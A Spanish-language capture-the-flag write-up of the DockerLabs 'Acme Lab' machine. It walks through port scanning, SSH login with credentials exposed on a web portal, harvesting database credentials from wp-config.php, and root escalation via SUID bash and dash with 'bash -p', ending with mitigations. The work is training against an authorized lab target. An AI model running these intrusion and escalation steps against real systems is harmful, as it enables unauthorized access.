Saltar al contenido principal

Acme Lab

Estado: completado

Fecha: 01/10/2026

Plataforma: DockerLabs

Dificultad: Muy Fácil

Diploma de finalización​

alt text

Alcance y objetivo​

Objetivo autorizado: 172.17.0.2

Tipo de entorno: contenedor

Objetivo de aprendizaje: practicar reconocimiento de servicios, enumeración web, identificación de credenciales expuestas, enumeración local de Linux y escalada de privilegios mediante SUID.

El laboratorio se ejecutó dentro del entorno proporcionado por DockerLabs. Todas las pruebas fueron realizadas exclusivamente contra la máquina vulnerable del laboratorio.

Preparación del laboratorio​

El laboratorio fue descargado desde DockerLabs:

Descargar Acme Lab

Una vez descargado el archivo, se realizó la extracción mediante unzip.

Descarga y extracción del laboratorio

Posteriormente se ejecutó el comando indicado por DockerLabs para levantar el entorno.

Inicio del laboratorio

El propio contenedor indica que, al finalizar el laboratorio, se debe utilizar Ctrl+C para realizar la limpieza del entorno Docker, incluyendo el apagado y eliminación del contenedor y de la imagen.

Para comprobar posteriormente que no quedaron recursos relacionados con el laboratorio, se puede verificar el estado de Docker:

Verificación del entorno Docker

El objetivo vulnerable quedó disponible en:

172.17.0.2

Resumen ejecutivo

El reconocimiento inicial identificó los puertos SSH (22) y HTTP (80). La aplicación web expuso credenciales temporales directamente en el portal de mantenimiento, permitiendo obtener acceso SSH como usuario.

Durante la enumeración local se encontró una instalación de WordPress con credenciales de base de datos almacenadas en wp-config.php, lo que permitió acceder a MariaDB y consultar la base de datos de WordPress.

Finalmente, la enumeración de archivos SUID reveló que /usr/bin/bash y /usr/bin/dash tenían SUID configurado con propietario root, permitiendo obtener una shell con privilegios de root.

La cadena principal fue:

HTTP
↓
Credenciales expuestas
↓
SSH como usuario
↓
Enumeración local
↓
WordPress
↓
wp-config.php
↓
MariaDB
↓
Enumeración SUID
↓
bash -p
↓
root

Reconocimiento remoto

Escaneo completo de puertos​

Se comenzó realizando un escaneo completo de puertos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2

El resultado mostró dos puertos TCP abiertos:

22/tcp open ssh
80/tcp open http

alt text


Enumeración de versiones​

Posteriormente se realizó enumeración de versiones y scripts básicos sobre los puertos encontrados:

nmap -sCV -p 22,80 172.17.0.2

Resultado relevante:

PORT STATE SERVICE VERSION

22/tcp open ssh
OpenSSH 8.9p1 Ubuntu 3ubuntu0.16

80/tcp open http
Apache httpd 2.4.52 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/migration_notes.txt
|_http-title: ACME Corporation - Portal en Mantenimiento

alt text

Puertos identificados​

PuertoServicioEvidenciaPróximo paso
22/tcpSSHOpenSSH 8.9p1Revisar información disponible para acceso
80/tcpHTTPApache 2.4.52 / portal ACMEEnumerar aplicación web

El puerto HTTP resultó especialmente interesante debido al título:

ACME Corporation - Portal en Mantenimiento

Además, Nmap detectó el archivo:

/migration_notes.txt

alt text


Enumeración web y exposición de credenciales

Se accedió mediante navegador al servicio HTTP:

http://172.17.0.2

Portal web de ACME

La aplicación mostraba un portal de mantenimiento de ACME Corporation que hacía referencia al acceso mediante SSH al nodo bastión.

A partir de esta información, se procedió a probar el servicio SSH identificado anteriormente en el puerto 22.

Validación del acceso SSH​

Inicialmente se comprobó el comportamiento utilizando un usuario arbitrario:

ssh randomuser@172.17.0.2

El acceso fue rechazado.

alt text

Posteriormente se utilizaron las credenciales observadas en el portal:

===================================================================
[*] ACME Corporation - Nodo Bastion de Mantenimiento Interno

[!] AVISO DE SEGURIDAD Y ACCESO:

[!] Portal corporativo en proceso de migracion a infraestructura interna.

[!] Credenciales temporales asignadas para tareas de mantenimiento:

[!] - Usuario: usuario
[!] - Password: P@ssw0rd2026_CTF!
===================================================================

📸 CAPTURA: portal o terminal mostrando las credenciales temporales expuestas

Se utilizó:

ssh usuario@172.17.0.2

Con la contraseña:

P@ssw0rd2026_CTF!

El acceso fue exitoso:

Welcome to Ubuntu 22.04.5 LTS

...

-bash-5.1$

alt text

Hallazgo​

Vector: credenciales expuestas en el portal web.

Resultado: acceso SSH como usuario.

Impacto: un atacante con acceso al portal puede obtener credenciales válidas y utilizarlas directamente contra SSH.


Acceso inicial

Una vez obtenida la shell SSH se verificó el contexto del usuario:

whoami
id
hostname

Resultado:

usuario
uid=1000(usuario) gid=1000(usuario) groups=1000(usuario)
583acbd154c2

alt text

El usuario obtenido era un usuario estándar sin privilegios administrativos.

Flag de usuario​

En el directorio inicial se encontró:

ls

Resultado:

user.txt

alt text

La flag fue obtenida mediante:

cat user.txt

Resultado:

FLAG{nmap_recon_ssh_foothold_7a9f24e1}

alt text


Enumeración local de Linux

Con acceso como usuario, comenzó la enumeración interna del sistema.

Red y servicios internos​

Se ejecutó:

ss -tuln

Resultado:

tcp LISTEN 127.0.0.1:9000
tcp LISTEN 127.0.0.1:3306
tcp LISTEN 0.0.0.0:22
tcp LISTEN 0.0.0.0:80
tcp LISTEN 127.0.0.1:8080

alt text

Se identificaron los siguientes servicios:

DirecciónPuertoObservación
0.0.0.022SSH
0.0.0.080HTTP
127.0.0.13306MariaDB/MySQL
127.0.0.18080Servicio HTTP interno
127.0.0.19000Servicio interno no investigado

El puerto 3306 era especialmente relevante porque únicamente estaba expuesto en localhost, por lo que no era accesible directamente desde el exterior, pero sí podía investigarse desde la shell obtenida.


Enumeración de WordPress

Se exploró la estructura de /var:

cd /var
ls

Se encontró:

backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www

alt text

Dentro de /var/www:

cd /var/www
ls

se encontraron:

html
maintenance
wordpress

alt text

La carpeta wordpress contenía una instalación completa de WordPress:

index.php
wp-admin
wp-content
wp-includes
wp-config.php
wp-login.php
xmlrpc.php
...

alt text


Credenciales de base de datos​

Se inspeccionó:

vim /var/www/wordpress/wp-config.php

Entre la información relevante se encontraron:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_secure_pass_2026' );
define( 'DB_HOST', '127.0.0.1' );

alt text

El archivo también contenía las claves y salts de WordPress, además de una configuración que permitía modificaciones de archivos:

define( 'FS_METHOD', 'direct' );
define( 'DISALLOW_FILE_EDIT', false );
define( 'DISALLOW_FILE_MODS', false );

alt text

La exposición de las credenciales de la base de datos permitió acceder directamente al servicio MariaDB desde la máquina comprometida.


Compromiso de la base de datos

Se utilizó:

mysql -h localhost -u wp_user -pwp_secure_pass_2026

El acceso fue exitoso:

Welcome to the MariaDB monitor.

Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1

alt text

Se enumeraron las bases de datos:

show databases;

Resultado:

information_schema
wordpress

alt text

Se seleccionó la base de datos:

use wordpress;

Y se enumeraron sus tablas:

show tables;

Entre ellas se encontraba:

wp_users
wp_usermeta
wp_posts
wp_options
...

alt text

Finalmente se consultó la tabla de usuarios:

select * from wp_users;

Se identificó el usuario:

acme_admin

junto con su hash de contraseña.

alt text

Hallazgo​

Vector: credenciales de base de datos almacenadas en texto plano dentro de wp-config.php.

Resultado: acceso a MariaDB y lectura de la base de datos de WordPress.

Impacto: compromiso de la información almacenada en WordPress, incluyendo usuarios y hashes de contraseñas.


Enumeración de permisos y posibles vectores de escalada

Después de obtener acceso como usuario, se realizó una búsqueda de archivos con SUID:

find / -type f -perm -4000 -ls 2>/dev/null

Entre los resultados aparecieron:

-rwsr-xr-x 1 root root ... /usr/bin/bash
-rwsr-xr-x 1 root root ... /usr/bin/dash

alt text

También aparecieron otros binarios SUID habituales:

/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign

Los binarios relevantes para este laboratorio fueron:

/usr/bin/bash
/usr/bin/dash

¿Qué es SUID?​

SUID (Set User ID) es un bit especial de permisos de Linux que hace que un ejecutable se ejecute con el UID efectivo de su propietario, en lugar de utilizar necesariamente los privilegios del usuario que lo ejecuta.

En este caso:

-rwsr-xr-x 1 root root ... /usr/bin/bash

La s que aparece en:

rws
^

indica que el bit SUID está activo.

Como el propietario del archivo es root, la situación es:

usuario normal

│

│ ejecuta

▼

/usr/bin/bash

│

│ SUID

▼

EUID = root

Esto es especialmente peligroso cuando el binario con SUID es una shell. Una shell normalmente permite ejecutar otros comandos, por lo que un SUID sobre bash o dash puede convertirse directamente en una escalada de privilegios.

Los bits especiales más habituales son:

4000 → SUID
2000 → SGID
1000 → Sticky Bit

En un entorno real, encontrar un binario SUID no significa automáticamente que sea vulnerable. Es necesario analizar qué programa es, quién lo posee, cómo funciona y qué acciones permite realizar con sus privilegios.

En este laboratorio, sin embargo, bash y dash estaban configurados explícitamente con SUID y pertenecían a root.


Escalada de privilegios

Se validó la posibilidad de ejecutar Bash conservando los privilegios efectivos del propietario mediante:

bash -p

La opción -p indica a Bash que mantenga los privilegios efectivos en lugar de realizar determinadas acciones destinadas a reducir privilegios en situaciones de ejecución privilegiada.

El resultado fue:

-bash-5.1$ bash -p

bash-5.1# whoami

root

alt text

También se validó utilizando dash:

dash -p

Resultado:

# whoami

root

alt text

Por lo tanto, la escalada fue confirmada.

Condición vulnerable​

/usr/bin/bash
/usr/bin/dash

ambos tenían:

-rwsr-xr-x

y pertenecían a:

root:root

Validación​

bash -p

whoami

Resultado:

root

También:

dash -p

whoami

Resultado:

root

alt text

Resultado final​

Se obtuvo una shell con privilegios de:

root

Evidencias y flags

Flag de usuario​

FLAG{nmap_recon_ssh_foothold_7a9f24e1}

alt text

Flag de root​

Desde la shell privilegiada se accedió a /root:

cd /root
ls

Se encontraron:

patch_wp_vulnerable.php
root.txt

alt text

La flag se obtuvo mediante:

cat root.txt

Resultado:

FLAG{wp2shell_cve_2026_63030_core_rce_root_99d10c8b}

Cadena completa de ataque

El recorrido realizado puede resumirse de la siguiente manera:

172.17.0.2

│

▼

Nmap

│

├── 22/tcp → SSH

│

└── 80/tcp → Apache

│

▼

Portal ACME

│

▼

Credenciales expuestas

│

▼

SSH como usuario

│

▼

user.txt

│

▼

Enumeración local Linux

│

▼

/var/www/wordpress

│

▼

wp-config.php

│

▼

Credenciales MariaDB

│

▼

Acceso a base de datos

│

▼

Enumeración wp_users

│

▼

Enumeración SUID

│

▼

/usr/bin/bash + SUID root

/usr/bin/dash + SUID root

│

▼

bash -p / dash -p

│

▼

root

│

▼

/root/root.txt

alt text


Mitigación y aprendizajes

Mitigación​

Las principales medidas de mitigación serían:

  • No exponer credenciales directamente en aplicaciones web accesibles.
  • No reutilizar credenciales temporales para otros servicios.
  • Evitar almacenar secretos directamente en archivos de configuración cuando sea posible; utilizar mecanismos apropiados de gestión de secretos.
  • Restringir los permisos de lectura de wp-config.php.
  • Revisar periódicamente los archivos SUID del sistema.
  • No otorgar SUID a shells como bash o dash.
  • Eliminar bits SUID innecesarios.
  • Revisar los servicios internos que escuchan en localhost.
  • Proteger las bases de datos mediante autenticación y permisos mínimos.
  • Mantener WordPress y sus componentes actualizados.
  • Aplicar el principio de mínimo privilegio a usuarios y servicios.

Aprendizajes​

  • Un escaneo completo de puertos permite descubrir servicios que no aparecen en un escaneo limitado.
  • La enumeración web puede revelar información mucho más importante que la tecnología utilizada por el servidor.
  • Las credenciales expuestas en una aplicación pueden proporcionar directamente un punto de entrada mediante SSH.
  • Una vez obtenido acceso a Linux, ss -tuln permite identificar servicios internos que no estaban expuestos externamente.
  • Los archivos de configuración son una fuente importante de secretos durante la enumeración local.
  • wp-config.php puede contener credenciales de base de datos y otros secretos sensibles.
  • La enumeración de SUID es una comprobación fundamental durante una evaluación de privilegios en Linux.
  • Un binario SUID propiedad de root debe analizarse cuidadosamente, especialmente si se trata de una shell.
  • bash -p y dash -p permiten conservar los privilegios efectivos de una ejecución privilegiada cuando la configuración del binario lo permite.
  • La escalada de privilegios debe validarse mediante whoami, id u otros mecanismos equivalentes antes de considerar completado el objetivo.